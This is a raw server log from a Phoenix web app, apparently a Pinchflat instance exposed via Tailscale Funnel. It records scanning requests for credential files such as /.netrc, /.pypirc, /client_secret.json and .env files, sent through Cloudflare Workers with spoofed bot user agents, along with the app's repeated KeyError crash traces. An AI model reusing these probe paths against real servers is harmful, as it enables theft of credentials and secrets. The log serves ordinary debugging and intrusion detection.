%Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pypirc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddbcca43e79-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "ajvk68a3a879hvwv.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.23.245.108", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 20, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3758.0>, params: %{}, pat (truncated) 02:50:37.044 [info] GET /client_secret.json 02:50:37.044 [info] GET /.env.development.local 02:50:37.045 [info] GET /.vscode/settings.json 02:50:37.045 [debug] QUERY OK source="settings" db=0.5ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:37.045 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:37.045 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:37.045 [debug] QUERY OK source="settings" db=0.2ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:37.045 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:37.045 [debug] QUERY OK source="settings" db=0.3ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:37.046 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:37.046 [debug] QUERY OK source="settings" db=0.3ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:37.047 [info] GET /.netrc 02:50:37.047 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:37.048 [debug] QUERY OK source="settings" db=0.9ms queue=0.3ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:37.050 [debug] QUERY OK source="settings" db=0.6ms queue=0.5ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:37.050 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:37.046 [error] #PID<0.3760.0> running PinchflatWeb.Endpoint (connection #PID<0.3716.0>, stream id 14) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.development.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.development (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddbcfd0a556-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "a423063fnf2u.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "172.71.30.221", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3760.0>, params: %{}, path_info: [".env.development"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fddbcfd0a556-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "a423063fnf2u.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "172.71.30.221"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.development.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHfs9MHSHWzsAAWpB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddbcfd0a556-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "a423063fnf2u.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "172.71.30.221", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.development (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddbcfd0a556-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "a423063fnf2u.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "172.71.30.221", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3760.0>, params: %{}, path_info: [".env.development"], path_params: %{}, (truncated) 02:50:37.047 [error] #PID<0.3759.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 21) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /client_secret.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /client_secret (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/client_secret.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddbd96ebcef-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "dc92c091r9y0.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "172.68.71.97", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 21, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3759.0>, params: %{}, path_info: ["client_secret"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fddbd96ebcef-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "dc92c091r9y0.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "172.68.71.97"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/client_secret.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHfs5ZqKbra8AAWoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/client_secret.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddbd96ebcef-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "dc92c091r9y0.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "172.68.71.97", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 21, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /client_secret (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/client_secret.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddbd96ebcef-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "dc92c091r9y0.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "d (truncated) 02:50:37.049 [error] #PID<0.3762.0> running PinchflatWeb.Endpoint (connection #PID<0.3761.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.vscode/settings.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3761.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/settings.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 36838}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fddbe8ed9871-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "w-olfbe-njami-n4452.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3762.0>, params: %{}, path_info: [".vscode", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-connecting-ip", "34.139.141.56"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fddbe8ed9871-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "w-olfbe-njami-n4452.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "104.22.24.76"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.vscode/settings.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHftC92oYN88AAWqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3761.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/settings.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 36838}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fddbe8ed9871-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "w-olfbe-njami-n4452.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3761.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/settings.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 36838}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fddbe8ed9871-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "w-olfbe-njami-n4452.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", (truncated) 02:50:37.051 [error] #PID<0.3764.0> running PinchflatWeb.Endpoint (connection #PID<0.3763.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.netrc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3763.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.netrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 36850}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddbead12776-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "06c7810bof2j.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "104.22.1.48", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3764.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fddbead12776-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "06c7810bof2j.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"}, {"x-forwarded-for", "104.22.1.48"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.netrc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHftjreRhjHwAAWrB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, 